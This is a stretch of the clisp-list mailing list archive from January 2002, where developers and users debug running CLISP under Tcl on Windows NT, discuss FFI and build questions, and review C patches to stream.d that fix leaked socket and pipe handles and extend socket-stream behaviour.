> retrieving revision 1.246
> diff -u -w -b -u -b -w -i -B -r1.246 stream.d
> --- stream.d	2002/01/07 21:41:36	1.246
> +++ stream.d	2002/01/09 23:44:35
> @@ -15185,7 +15185,7 @@
>    # Initialize the *KEYBOARD-INPUT* stream. This can fail in some cases,
>    # therefore we do it after the standard streams are in place, so that
>    # the user will get a reasonable error message.
> -  #if defined(UNIX) || defined(RISCOS)
> +  #if 1 # defined(UNIX) || defined(RISCOS)
>    # Building the keyboard stream is a costly operation. Delay it
>    # until we really need it.
>    define_variable(S(keyboard_input),NIL);     # *KEYBOARD-INPUT*
> >>
> 
> 
> Right, we are not using WITH-KEYBOARD-INPUT.  However, rebuilding
> CLISP is beyond my current capabilities.  (I don't even have the full
> source.)  Is there a simple way to apply the patch without doing a
> full build?  If not, where do I start reading to learn how to do a
> build?  Depending on the complexity of rebuilding and the tools
> necessary, I may decide to work around the problem in some other way,
> since building CLISP is certainly a major diversion from the task at
> hand.

your options are:

 - use sockets: this way CLISP and Tcl will be able to run on different
   machines.  this is reliable and easy.  really.
   _much_ better than pipes!
   Note the security issues though: Tcl will have to authenticate
   itself to CLISP (or you have to restrict connections).
 
 - go to <http://clisp.cons.org> and get the CLISP source distribution.
   go to <http://sources.redhat.com/cygwin/> and get Cygwin, _or_
   install MSVC.  then it is quite straitforward to build CLISP.
   (MSVC: copy win32msvc/Makefile.msvc5 src/; cd src; nmake)
   (Cygwin: ./configure --build build)

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> * In message <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com>
> * On the subject of "[clisp-list] Running CLISP as a Subprocess of Tcl"
> * Sent on Wed, 09 Jan 2002 16:59:09 -0500
> * Honorable Daniel Ozick <dozick@irobot.com> writes:
>
> We have a small GUI built in Tcl/Tk under Windows-NT and would like to run
> CLISP as a child process to perform some computation.  Currently, we use
> this architecture to run a C++ executable (Win32 console app) as a child
> process of Tcl.  The Tcl code looks something like this:
> 
> set interface_pipe [open "|program" r+]
> 
> Through 'interface_pipe', we can send input to 'program' stdin and get
> output from 'program' stdout.  When we try this with CLISP 2.27, however,
> the following error message appears:
> 
> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied.

as I said, this is because of the console permissions.

note that CLISP runs just fine under Emacs (using inf-lisp.el), so this
is not "just a CLISP problem".

you might actually be using a wrong Tcl interface.

I conclude this from the fact that I cannot send input to CLISP (even
when I patch it and it starts fine) - it does not see what I send to it
with `puts'.

I think [open "|program" r+] creates a 1-directional pipe instead of a
bi-directional one.

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Hi!

I'm a little confused with the FFI. 

I have a c program to load that's comprised of several c files. 
In Allegro, I would link them together and load one .so file. 

In Clisp, do I have to create separate module-sets and add them
separately to the lisp image? All the examples in the modules
directory have just one .c file. 

I am mainly looking at the documentation located in
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examples on FFI in clisp. 

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> * In message <cd8zb66ou1.fsf@sun23.i-did-not-set--mail-host-address--so-shoot-me>
> * On the subject of "[clisp-list] FFI newbie question"
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> In Clisp, do I have to create separate module-sets and add them
> separately to the lisp image? All the examples in the modules
> directory have just one .c file.

no, you can have many *.c files - just all them to NEW_LIBS and
NEW_FILES in link.sh.
(see examples at the and of the dffi section in the impnotes)

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At 11:49 AM 1/10/02 -0500, Sam Steingold wrote:
>> * In message <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com>
>> * On the subject of "[clisp-list] Running CLISP as a Subprocess of Tcl"
>> * Sent on Wed, 09 Jan 2002 16:59:09 -0500
>> * Honorable Daniel Ozick <dozick@irobot.com> writes:
>>
>> We have a small GUI built in Tcl/Tk under Windows-NT and would like to run
>> CLISP as a child process to perform some computation.  Currently, we use
>> this architecture to run a C++ executable (Win32 console app) as a child
>> process of Tcl.  The Tcl code looks something like this:
>> 
>> set interface_pipe [open "|program" r+]
>> 
>> Through 'interface_pipe', we can send input to 'program' stdin and get
>> output from 'program' stdout.  When we try this with CLISP 2.27, however,
>> the following error message appears:
>> 
>> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied.
>
>as I said, this is because of the console permissions.
>
>note that CLISP runs just fine under Emacs (using inf-lisp.el), so this
>is not "just a CLISP problem".

We use CLISP under Emacs as well.

>you might actually be using a wrong Tcl interface.
>
>I conclude this from the fact that I cannot send input to CLISP (even
>when I patch it and it starts fine) - it does not see what I send to it
>with `puts'.
>
>I think [open "|program" r+] creates a 1-directional pipe instead of a
>bi-directional one.

As I mentioned, we use exactly this Tcl interface with other programs, and
it works bidirectionally.  Here's something you can try to prove out the
pipe if you've got Cygwin tools (or equivalent).

% set a [open "|cat" r+]
file9d9e00
% puts $a "Hello"
% flush $a
% gets $a
Hello



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> * In message <3.0.5.32.20020110151519.014acec0@mail.int.isr.com>
> * On the subject of "Re: [clisp-list] Running CLISP as a Subprocess of Tcl"
> * Sent on Thu, 10 Jan 2002 15:15:19 -0500
> * Honorable Daniel Ozick <dozick@irobot.com> writes:
>
> At 11:49 AM 1/10/02 -0500, Sam Steingold wrote:
> >> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied.
> >as I said, this is because of the console permissions.
> >
> >note that CLISP runs just fine under Emacs (using inf-lisp.el), so this
> >is not "just a CLISP problem".
> 
> We use CLISP under Emacs as well.

good - so you can see that CLISP _can_ work under another program!

can Tcl avoid grabbing the console?

> % flush $a

aha! - this is was was missing!

% set c "d:/gnu/clisp/current/src/lisp.exe -B d:/gnu/clisp/current/src -q -M d:/gnu/clisp/current/src/lispinit.mem -norc"
d:/gnu/clisp/current/src/lisp.exe -B d:/gnu/clisp/current/src -q -M d:/gnu/clisp/current/src/lispinit.mem -norc
% set a [open "|$c" r+]
filecb9ec0
% puts $a "(1+ 10)"
% puts $a "(bye)"
% flush $a
% read $a

[1]> 
11
[2]> 

% 

so my patch does fix the problem.
I am not sure I want to put it in though...

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> >note that CLISP runs just fine under Emacs (using inf-lisp.el), so this
> >is not "just a CLISP problem".
> 
> We use CLISP under Emacs as well.

Perl, which comes with Cygwin, also has no problems:

my $clisp="d:/gnu/clisp/current/src/lisp.exe -B d:/gnu/clisp/current/src -q -M d:/gnu/clisp/current/src/lispinit.mem -norc";
open(CLISP,"|$clisp");
print CLISP "(! 10)\n*KEYBOARD-INPUT*\n(bye)\n";
close(CLISP);


[1]>
3628800
[2]>
#<INPUT KEYBOARD-STREAM>

maybe you should report this as a Tcl bug?

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Hi
 I send you an email about the install.lisp causing problems when I tried to
run install.bat for win2k:
   "I downloaded the binary clisp-2.27 for win and ran the install.bat
  and got the error message"
>   [pathname.d:6610]
> *** - Win32 error 2 <ERROR_FILE_NOT_FOUND: The system cannot
>        find the file specified.
>
******************* *****************************************
You responded:

you are using the hard-coded desktop location which is correct for
winnt but wrong for w2k.
this was fixed on 2001-08-16.
please use the CVS (<http://clisp.cons.org>) to get the current version
of install.lisp and try again.
******************* *****************************************
      NEW QUESTION:

So I went to this link and from there Project Home CVS browsing (there was
no other place
that seemed appropriate) but I found nothing. So how do I use CVS to get the
current version of install.lisp

Thanks,
Gail



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If I do

(defun foo ()
  (socket-connect 80 "www.yahoo.com")
  (socket-server 8000)
  (values))

(foo)

and then 

(gc)

the socket server handle is closed, but the client socket handle is
not.  The same is true for streams obtained from socket-accept and all
flavors of pipe streams.  Unless they are explicitly closed, the
handles are lost during gc.

The problem is that gc only calls builtin_stream_close for streams
that are on the open_files list, and none of the above are put on it
when created.  Below is a possible patch which appears to resolve this
for me.  (I'm not sure about the STACK change to make_printer_stream,
but I think it's right.)

In the process of figuring this out, I also noticed that streams are
only removed from the open_files list if they happen to be buffered.
The patch also fixes that.


Todd

diff -u -r1.246 stream.d
--- stream.d	2002/01/07 21:41:36	1.246
+++ stream.d	2002/01/11 02:57:47
@@ -5808,6 +5808,18 @@
   return stream;
 }
 
+# UP: add a stream to the list of open streams (open_files)
+# add_to_open_streams()
+# > stream
+# can trigger GC
+local object add_to_open_streams (object stream) {
+  pushSTACK(stream);
+  var object new_cons = allocate_cons();
+  Car(new_cons) = stream = popSTACK();
+  Cdr(new_cons) = O(open_files);
+  O(open_files) = new_cons;
+  return stream;
+}
 
 # File-Stream
 # ===========
@@ -7667,13 +7679,8 @@
   }
   skipSTACK(3);
   # extend List of open File-Streams by stream:
-  pushSTACK(stream);
-  {
-    var object new_cons = allocate_cons();
-    Car(new_cons) = stream = popSTACK();
-    Cdr(new_cons) = O(open_files);
-    O(open_files) = new_cons;
-  }
+  stream = add_to_open_streams(stream);
+
   # treat Mode :APPEND:
   # CLHS says that :APPEND implies that "the file pointer is _initially_
   # positioned at the end of the file". Note that this is different from
@@ -7876,8 +7883,6 @@
   ChannelStream_fini(stream);
   # make Components invalid (close_dummys comes later):
   closed_buffered(stream);
-  # remove stream from the List of all open File-Streams:
-  O(open_files) = deleteq(O(open_files),stream);
 }
 
 # (SYS::FILE-STREAM-P stream) == (TYPEP stream 'FILE-STREAM)
@@ -10467,16 +10472,7 @@
 # Returns an interactive Terminal-Stream.
 # can trigger GC
 local object make_terminal_stream (void) {
-  var object stream = make_terminal_stream_();
-  # extend List of open Streams by stream:
-  pushSTACK(stream);
-  {
-    var object new_cons = allocate_cons();
-    Car(new_cons) = stream = popSTACK();
-    Cdr(new_cons) = O(open_files);
-    O(open_files) = new_cons;
-  }
-  return stream;
+  return add_to_open_streams (make_terminal_stream_ ());
 }
 
 
@@ -13381,7 +13377,6 @@
 # UP: Returns a Printer-Stream.
 # can trigger GC
 local object make_printer_stream (void) {
-  pushSTACK(allocate_cons()); # Cons for List
   pushSTACK(allocate_handle(Handle_NULL)); # Handle-Wrapping
   var object stream = # new Stream, only WRITE-CHAR allowed
     allocate_stream(strmflags_wr_ch_B,strmtype_printer,strm_len+1,0);
@@ -13398,12 +13393,7 @@
   TheStream(stream)->strm_wr_ch_array = P(wr_ch_array_dummy);
   TheStream(stream)->strm_printer_handle = popSTACK();
   # extend List of open Streams by stream:
-  {
-    var object new_cons = popSTACK();
-    Car(new_cons) = stream;
-    Cdr(new_cons) = O(open_files);
-    O(open_files) = new_cons;
-  }
+  stream = add_to_open_streams (stream);
   clr_break_sem_4();
   return stream;
 }
@@ -13638,7 +13628,7 @@
   ChannelStreamLow_close(stream) = &low_close_pipe;
   TheStream(stream)->strm_pipe_pid = popSTACK(); # Child-Pid
   skipSTACK(4);
-  value1 = stream; mv_count=1; # stream as value
+  value1 = add_to_open_streams (stream); mv_count=1; # stream as value
 }
 
 
@@ -13851,7 +13841,7 @@
   ChannelStreamLow_close(stream) = &low_close_pipe;
   TheStream(stream)->strm_pipe_pid = popSTACK(); # Child-Pid
   skipSTACK(4);
-  value1 = stream; mv_count=1; # stream as value
+  value1 = add_to_open_streams (stream); mv_count=1; # stream as value
 }
 
 #ifdef PIPES2
@@ -14039,7 +14029,7 @@
     }
     ChannelStreamLow_close(stream) = &low_close_pipe;
     TheStream(stream)->strm_pipe_pid = STACK_2; # Child-Pid
-    STACK_1 = stream;
+    STACK_1 = add_to_open_streams (stream);
   }
   # allocate Output-Stream:
   {
@@ -14058,7 +14048,7 @@
     }
     ChannelStreamLow_close(stream) = &low_close_pipe;
     TheStream(stream)->strm_pipe_pid = STACK_2; # Child-Pid
-    STACK_0 = stream;
+    STACK_0 = add_to_open_streams (stream);
   }
  #ifdef EMUNIX
   # combine both pipes, for frictionless close:
@@ -14708,8 +14698,9 @@
   value1 = make_socket_stream(handle,&eltype,buffered,
                               TheSocketServer(STACK_3)->host,
                               TheSocketServer(STACK_3)->port);
-  mv_count = 1;
   skipSTACK(4);
+  value1 = add_to_open_streams (value1);
+  mv_count = 1;
 }
 
 local struct timeval * sec_usec (object sec, object usec, struct timeval *tv) {
@@ -14800,6 +14791,8 @@
                               asciz_to_string(hostname,O(misc_encoding)),
                               STACK_4);
   skipSTACK(5);
+  # extend List of open Streams by stream:
+  value1 = add_to_open_streams (value1);
   mv_count = 1;
 }
 
@@ -15949,6 +15942,8 @@
         else
           close_ichannel(stream);
       }
+      # remove stream from the List of all open File-Streams:
+      O(open_files) = deleteq(O(open_files),stream);
       break;
     #ifdef SOCKET_STREAMS
     case strmtype_twoway_socket:


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Sam Steingold <sds@gnu.org> writes:
> > > you are on your own here.  sorry.
> > 
> > On my own as in, I've got to figure it out, but you'd (maybe) accept
> > a patch if I do it?
> 
> yep.  "maybe" depends on how clean the patch is, and, most of all, on
> your commitment to supporting it (for the rest of your earthly existence
> and beyond it :-)
> 

Heh, well, let me see if I can figure it out first.

> > Unix domain sockets are not just special files in the filesystem and
> > trying to treat them that way is the wrong approach, IMO.  Even if you
> > overcome the S_ISSOCK() issue, how are you going to know whether it's
> > a STREAM or DGRAM socket?  I guess you could just try both, but that's
> > rather kludgy.  And what about acting as a server with unix domain
> > sockets?  How would you accept connections from a file?
> 
> how would you like to do this?
> maybe we should unify the internet sockets with the unix sockets.
> like, SOCKET-CONNECT, when PORT is a string, will interpret it as a
> unix socket path...
> 

I haven't looked at db-sockets much yet, but from what little I
understand of it, I think it's got the right idea.  I.e., just expose
the socket api calls to lisp, and then build on top of those in lisp.
In clisp, that would mean adding a new gc'd lisp object, Socket, and
functions socket, bind, setsockopt, accept, ioctl(!), connect, etc.
and some stuff for resolving names.  Then you have to add something
like cmucl's make-fd-stream which gives you a stream from a
SOCK_STREAM socket.

Once that's done, I think most of the existing socket.d could be
redone in lisp.  You can build friendly functions on top of it, e.g.,
socket-connect could be done something like

(defun socket-connect (port host ...)
  (let ((sock (socket :PF_INET :STREAM))
        (addr (make-addr (resolv host) port)))
    (connect sock addr)
    (make-socket-stream sock)))

and people who want to (like me) can get grungy with the low level
stuff.

socket-status would be modified to support socket-streams and plain
old sockets.

Anyway, that's my Blue Sky thinking at the moment.  From the sounds of
the clocc list, db-sockets might just be portable to clisp.  (I'm
still trying to figure out how all those pieces fit together.)  I
imagine that socket-status wouldn't work in that scenario without some
surgery, though.

I guess I need to take a good look at db-sockets...

> > I saw that, but found the documentation confusing.  Particularly,
> > 
> > "Note that this function never waits for input or output to arrive,
     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > only for information on input or output presense ... to become
> > available."
> > 
> > which makes it sound like the function will return once it can figure
> > out that there is no input or output data present anywhere.  I want to
> > block until data is available (or timeout).  Am I misunderstanding the
> > docs?
> 
> note the &OPTIONAL [seconds [microseconds]] args.
> if SECONDS is NIL, it will block indefinitely, otherwise, it will wait
> for this much time.

I think the docs could be clearer, particulary the part I marked
above.  Perhaps just saying it exposes select(2) would be sufficient.

> > Also, is there a reason that it should only work with socket-streams?
> > Wouldn't it be a good thing for it to work on pipe-io-streams, too?
> > (Perhaps it already does, I haven't checked.)
> 
> please do check.  i believe it should work.  if it doesn't - send a
> patch.

It doesn't work.  It complains that it's not a socket-stream.  No
patch at the moment, maybe later.

> I am sorry if I sound like "do it yourself of f..k off" dork.
> I _am_ overworked, and have a lot on my plate now (and I have a family,
> and I am not paid for CLISP).
> I also gladly accept patches.

No problem.  I don't mind and completely understand that you don't
want to implement things yourself just because I'm asking for them.  I
was just getting the impression that you didn't want the stuff, even
if _I_ implemented it, which was puzzling.


Todd


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On Wed, 09 Jan 2002 16:59:09 -0500, Daniel Ozick wrote:

> We have a small GUI built in Tcl/Tk under Windows-NT and would like to run
> CLISP as a child process to perform some computation.  Currently, we use

You may check the page about lisp2wish at CLiki:

  http://ww.telent.net/cliki/


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> * In message <NEBBIMJMGLIKMAPGCJAGCEOLCFAA.lange@maine.edu>
> * On the subject of "[clisp-list] installing clisp"
> * Sent on Thu, 10 Jan 2002 17:58:08 -0500
> * Honorable "Gail L. Lange" <lange@maine.edu> writes:
>
> You responded:
> 
> you are using the hard-coded desktop location which is correct for
> winnt but wrong for w2k.
> this was fixed on 2001-08-16.
> please use the CVS (<http://clisp.cons.org>) to get the current version
> of install.lisp and try again.
> ******************* *****************************************
>       NEW QUESTION:
> 
> So I went to this link and from there Project Home CVS browsing (there
> was no other place that seemed appropriate) but I found nothing. So
> how do I use CVS to get the current version of install.lisp

<http://clisp.cons.org>
-> CVS browsing
-> clisp
-> src
-> install.lisp
-> HEAD (download)

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> * In message <m3d70hcyf6.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 10 Jan 2002 23:19:09 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> I haven't looked at db-sockets much yet, but from what little I
> understand of it, I think it's got the right idea.  I.e., just expose
> the socket api calls to lisp, and then build on top of those in lisp.
> In clisp, that would mean adding a new gc'd lisp object, Socket, and
> functions socket, bind, setsockopt, accept, ioctl(!), connect, etc.
> and some stuff for resolving names.  Then you have to add something
> like cmucl's make-fd-stream which gives you a stream from a
> SOCK_STREAM socket.

This is _not_ how this is done in CLISP.
CLISP is "high-level" and "cross-platform".
The functions you mention are "low-level" and "unix-specific".

If you really want to build upon all these calls, you _already can_ do
it in CLISP on Linux as it is distributed - just build
        ./configure --with-module=bindings/linux6.
and use the full image.
(this exposes _all_ libc calls to lisp, in package LINUX)
what?  you mean you want these on non-Linux platforms?
Okay, add a bindings module for your platform, or, better yet, create
a cross-platform LIBC module which will work uniformly on all flavors
of UNIX.  You know better than I do how all these low-level things
differ in, say, BSD, Solaris, and Linux.  Good luck there.

Note that it really _is_ easier to add a module than to put what you
want into the CLISP core functionality.

> people who want to (like me) can get grungy with the low level stuff.

try "clisp -K full -x '(apropos "" "LINUX")'"

> I was just getting the impression that you didn't want the stuff, even
> if _I_ implemented it, which was puzzling.

There is some design philosophy behind CLISP.
There are things I do not want there, no matter what (e.g., crashes :-).
Other things are better off in modules, not in the base (e.g., bind(2)).

CLISP is _not_ for everyone (sadly).
If you think you want to tinker in Assembly, CLISP is not for you.
(But I will strive to convince you that you actually do _not_ want to do
Assembly :-)
If you want high performance floating point computations, CMUCL is a
better choice, there is nothing I can do here.
OTOH, if you want to write in a high-level language, opening sockets as
easily as files and handling them in a uniform manner, CLISP is your
friend.

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> > Is there a reason why socket-streams are not real two-way streams?

Because the input part and the output part of the socket-stream are
not independent: After closing one of them, the other one would be
nonfunctional (because its C 'SOCKET' has been closed).

> > Then buffered sockets, at least, work as you would expect.  At least,
> > in my two minutes of testing :).

What is wrong with buffered socket streams as they are implemented
now?

Bruno


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> * In message <m3g05dcyfe.fsf@jetcar.qnz.org>
> * On the subject of "[clisp-list] socket and pipe streams leak handles if not explicitly closed"
> * Sent on 10 Jan 2002 23:19:01 -0500
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> the socket server handle is closed, but the client socket handle is
> not.  The same is true for streams obtained from socket-accept and all
> flavors of pipe streams.  Unless they are explicitly closed, the
> handles are lost during gc.

Thanks for the bug report and the patch.
I committed a it with minor changes.
It appears to fix the bug.

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> * In message <m3d70hcyf6.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 10 Jan 2002 23:19:09 -0500
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>
> > > Also, is there a reason that it should only work with socket-streams?
> > > Wouldn't it be a good thing for it to work on pipe-io-streams, too?
> > > (Perhaps it already does, I haven't checked.)
> > 
> > please do check.  i believe it should work.  if it doesn't - send a
> > patch.
> 
> It doesn't work.  It complains that it's not a socket-stream.  No
> patch at the moment, maybe later.

please note that select() is a socket-specific syscall on win32, so you
cannot pass just any handle to it.
if you can make it work - great!

for now, listen works with pipes as expected.

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> * In message <15423.6323.262729.596965@honolulu.ilog.fr>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on Fri, 11 Jan 2002 17:54:11 +0100 (CET)
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>
> > > Then buffered sockets, at least, work as you would expect.  At least,
> > > in my two minutes of testing :).
> 
> What is wrong with buffered socket streams as they are implemented
> now?

(setq s (socket-connect 80 "www.gnu.org" :external-format :dos :buffered t))
(format s "GET / HTTP/1.0~2%")
(finish-output s)
(socket-status s)
 ==> :output

i.e., there is nothing to be read from the buffered socket S.
this is why (I think) Todd wants to separate the input and output
streams of the sockets: he thinks that after he closes the output
stream, the input will become available.
(I don't think this is the case since the buffering is done by CLISP,
not the TCP/IP stack or OS).
 
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Sam Steingold <sds@gnu.org> writes:

> > * In message <15423.6323.262729.596965@honolulu.ilog.fr>
> > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> > * Sent on Fri, 11 Jan 2002 17:54:11 +0100 (CET)
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> >
> > > > Then buffered sockets, at least, work as you would expect.  At least,
> > > > in my two minutes of testing :).
> > 
> > What is wrong with buffered socket streams as they are implemented
> > now?
> 
> (setq s (socket-connect 80 "www.gnu.org" :external-format :dos :buffered t))
> (format s "GET / HTTP/1.0~2%")
> (finish-output s)
> (socket-status s)
>  ==> :output
> 
> i.e., there is nothing to be read from the buffered socket S.
> this is why (I think) Todd wants to separate the input and output
> streams of the sockets: he thinks that after he closes the output
> stream, the input will become available.
> (I don't think this is the case since the buffering is done by CLISP,
> not the TCP/IP stack or OS).

I hadn't noticed this particular behavior, but it also seems wrong,
doesn't it?

The problem I have with buffered sockets is on the server side, not
the client.  There's no way a server can use buffered sockets, because
it's totally impossible to read a client's requests unless they happen
to terminate on 4K boundaries (or the client closes his end of the
socket with shutdown(2) before receiving a reply).  And, as I said
before, I don't really care much about buffering on input, but you
can't buffer on output unless you also buffer on input, and I do care
about buffering on output.

I really don't care that much about whether sockets are two-way
streams, or not.  It just seemed like a natural way to expose more
functionality, without getting too "low level".


Todd


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> > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> > * Sent on 10 Jan 2002 23:19:09 -0500
> > * Honorable Todd Sabin <tas@webspan.net> writes:
> >
> > > > Also, is there a reason that it should only work with socket-streams?
> > > > Wouldn't it be a good thing for it to work on pipe-io-streams, too?
> > > > (Perhaps it already does, I haven't checked.)
> > > 
> > > please do check.  i believe it should work.  if it doesn't - send a
> > > patch.
> > 
> > It doesn't work.  It complains that it's not a socket-stream.  No
> > patch at the moment, maybe later.
> 
> please note that select() is a socket-specific syscall on win32, so you
> cannot pass just any handle to it.
> if you can make it work - great!

I don't think this is a (clean) way to make it work on win32.  Would
you take a patch which makes socket-status work on pipe streams on
linux/unix only?


Todd


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Sam Steingold <sds@gnu.org> writes:

> > I haven't looked at db-sockets much yet, but from what little I
> > understand of it, I think it's got the right idea.  I.e., just expose
> > the socket api calls to lisp, and then build on top of those in lisp.
> > In clisp, that would mean adding a new gc'd lisp object, Socket, and
> > functions socket, bind, setsockopt, accept, ioctl(!), connect, etc.
> > and some stuff for resolving names.  Then you have to add something
> > like cmucl's make-fd-stream which gives you a stream from a
> > SOCK_STREAM socket.
> 
> This is _not_ how this is done in CLISP.
> CLISP is "high-level" and "cross-platform".
> The functions you mention are "low-level" and "unix-specific".
> 
> If you really want to build upon all these calls, you _already can_ do
> it in CLISP on Linux as it is distributed - just build
>         ./configure --with-module=bindings/linux6.
> and use the full image.
> (this exposes _all_ libc calls to lisp, in package LINUX)

Aha!  Well, the socket stuff isn't currently defined in there, but I
guess you'd suggest adding it?

> what?  you mean you want these on non-Linux platforms?

No, not really.  Linux only would be fine with me.  :)


Todd


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Todd Sabin <tas@webspan.net> writes:
> I don't think this is a (clean) way to make it work on win32.  Would

Err, meant, "I don't think _there_ is a ..."


Todd


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> * In message <m3r8ow73jb.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 11 Jan 2002 20:37:28 -0500
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>
> Sam Steingold <sds@gnu.org> writes:
> 
> > CLISP is "high-level" and "cross-platform".
> > The functions you mention are "low-level" and "unix-specific".
> > 
> > If you really want to build upon all these calls, you _already can_ do
> > it in CLISP on Linux as it is distributed - just build
> >         ./configure --with-module=bindings/linux6.
> > and use the full image.
> > (this exposes _all_ libc calls to lisp, in package LINUX)
> 
> Aha!  Well, the socket stuff isn't currently defined in there, but I
> guess you'd suggest adding it?

sure.  add whatever you want to bindings/linuxlib6, test it, make it
work well, &c.  I will take it.

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> * In message <m3vge874xb.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 11 Jan 2002 20:07:28 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> Sam Steingold <sds@gnu.org> writes:
>  [reagrding SOCKET-STATUS & pipe streams]
> > > It doesn't work.  It complains that it's not a socket-stream.  No
> > > patch at the moment, maybe later.
> > 
> > please note that select() is a socket-specific syscall on win32, so you
> > cannot pass just any handle to it.
> > if you can make it work - great!
> 
> I don't think this is a (clean) way to make it work on win32.  Would
> you take a patch which makes socket-status work on pipe streams on
> linux/unix only?

sure. note that the following trivial patch is no good:

Index: src/stream.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/stream.d,v
retrieving revision 1.249
diff -u -w -b -r1.249 stream.d
--- src/stream.d        2002/01/11 18:00:42     1.249
+++ src/stream.d        2002/01/14 18:51:05
@@ -14831,7 +14831,26 @@
   if (socket_server_p(obj)) {
     if (check_open) test_socket_server(obj,true);
     return TheSocket(TheSocketServer(obj)->socket_handle);
-  } else {
+  }
+ #if defined(PIPES) && defined(UNIX)
+  #ifdef PIPES2
+  else if ((TheStream(obj)->strmtype == strmtype_twoway) &&
+           (TheStream(TheStream(obj)->strm_twoway_input)->strmtype
+            == strmtype_pipe_in) &&
+           (TheStream(TheStream(obj)->strm_twoway_output)->strmtype
+            == strmtype_pipe_out)) { # bidirectional pipe
+    # assume output is always possible, check only input
+    obj = TheStream(obj)->strm_twoway_input;
+    goto pipe;
+  }
+  #endif
+  else if (TheStream(obj)->strmtype == strmtype_pipe_in)
+  pipe:
+    return (SOCKET)TheHandle(TheStream(obj)->strm_ichannel);
+  else if (TheStream(obj)->strmtype == strmtype_pipe_out)
+    return (SOCKET)TheHandle(TheStream(obj)->strm_ochannel);
+ #endif
+  else {
     obj = test_socket_stream(obj,check_open);
     return SocketChannel(obj);
   }

first, both input _and_ output must be checked
second, for some reason it doesn't work :-)

I would _really_ prefer a cross-platform patch.

OTOH, if you want to go "UNIX-only", note that it should work with any
FD-based stream then, including terminal streams, arbitrary two-way
streams (as long as their components are acceptable to SOCKET-STATUS),
broadcast streams &c. 

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Hi!

Building clisp on Solaris 8 does not run on Solaris 7 and craps out
with this error:

ld.so.1: lisp.run: fatal:
libnsl.so.1: version `SUNW_1.7' not found (required by file lisp.run)

Did I miss a configuration parameter?

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> * In message <cdadvgeibu.fsf@sun23.i-did-not-set--mail-host-address--so-shoot-me>
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> Building clisp on Solaris 8 does not run on Solaris 7 and craps out
> with this error:

why did you think this might work?

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> > Building clisp on Solaris 8 does not run on Solaris 7 and craps out
> > with this error:
> 
> why did you think this might work?
> 

You mean that executables on Solaris 8 are not backward compatible? 
Well, okay then. 

                                    myriam


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When I run make with the postgresql642 module option on CLISP v. 2.27, on
RedHat Linux v. 7.2, Intel architecture, a Lisp process breaks with error
message:

*** - Incomplete FFI type ConnStatusType is not allowed here.

(Where exactly is "here" anyhow?  Can I do a backtrace somehow?  I tried the
usual way to no avail.)

The postgres postmaster is running (version 7.1.3), and I have postgres
source files from RedHat SRPMS.  My libpq-fe.h is in /usr/include/pgsql, as
usual.

My clisp Makefile options include dynamic-FFI, regexp, gettext, readline,
and clx/mit.

If I don't include a postgresqlxxx option, the rest compiles fine.  For
example, I've been able to run the clx/mit demo/hello.lisp after installing
and running clisp -K full.

Insights appreciated.  Thanks,

Jack Crosscope
jrc@tecobj.com



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On a somewhat side, isn't postgresql642 for version 6.4.2?

Jack Crosscope wrote:
> When I run make with the postgresql642 module option on CLISP v. 2.27, on
> RedHat Linux v. 7.2, Intel architecture, a Lisp process breaks with error
> message:
> 
> *** - Incomplete FFI type ConnStatusType is not allowed here.
> 
> (Where exactly is "here" anyhow?  Can I do a backtrace somehow?  I tried the
> usual way to no avail.)
> 
> The postgres postmaster is running (version 7.1.3), and I have postgres
> source files from RedHat SRPMS.  My libpq-fe.h is in /usr/include/pgsql, as
> usual.
> 
> My clisp Makefile options include dynamic-FFI, regexp, gettext, readline,
> and clx/mit.
> 
> If I don't include a postgresqlxxx option, the rest compiles fine.  For
> example, I've been able to run the clx/mit demo/hello.lisp after installing
> and running clisp -K full.
> 
> Insights appreciated.  Thanks,
> 
> Jack Crosscope
> jrc@tecobj.com
> 
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btw, of course there's an apparent version mismatch between postgres 6.4.2
and 7.1.3, which may well be causing the problem.  I'd just like to be
certain.  and determine if it can be easily fixed.

-Jack


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When I run make with the postgresql642 module option on CLISP v. 2.27, on
RedHat Linux v. 7.2, Intel architecture, a Lisp process breaks with error
message:

*** - Incomplete FFI type ConnStatusType is not allowed here.

(Where exactly is "here" anyhow?  Can I do a backtrace somehow?  I tried the
usual way to no avail.)

The postgres postmaster is running (version 7.1.3), and I have postgres
source files from RedHat SRPMS.  My libpq-fe.h is in /usr/include/pgsql, as
usual.

My clisp Makefile options include dynamic-FFI, regexp, gettext, readline,
and clx/mit.

If I don't include a postgresqlxxx option, the rest compiles fine.  For
example, I've been able to run the clx/mit demo/hello.lisp after installing
and running clisp -K full.

Insights appreciated.  Thanks,

Jack Crosscope
jrc@tecobj.com



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Hi,
a newbie's question:

Currently I think about a new projects (purely non-commerical) that should
run
under Windows 2000 / XP and Linux. Because it needs some user friendly
interface (Buttons, ListBoxes, scrollbars, graphical output, ...)  I think
xvWindows,
Kylix, Qt++ or similar stuff will do this. But as far as I know these tools
are mainly "connected" to C / C++.  Nevertheless I would like to have the
power fo Lisp (CLisp). (I remember my days at the university when I worked
with Interlisp-D / Loops).

My question:
Are there any toolkits for my needs (Win32 / Linux) that can be used via
CLisp?
What are there pros and cons, is there a "best" one?
Are there any "Hello World" examples?

Many thanks and best regards,
Johann Murauer
jmurauer@acm.org





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> * In message <OF81D3BC30.4D9E9F21-ONC1256B43.00490081@utimaco.at>
> * On the subject of "[clisp-list] GUI and CLISP"
> * Sent on Wed, 16 Jan 2002 14:34:00 +0100
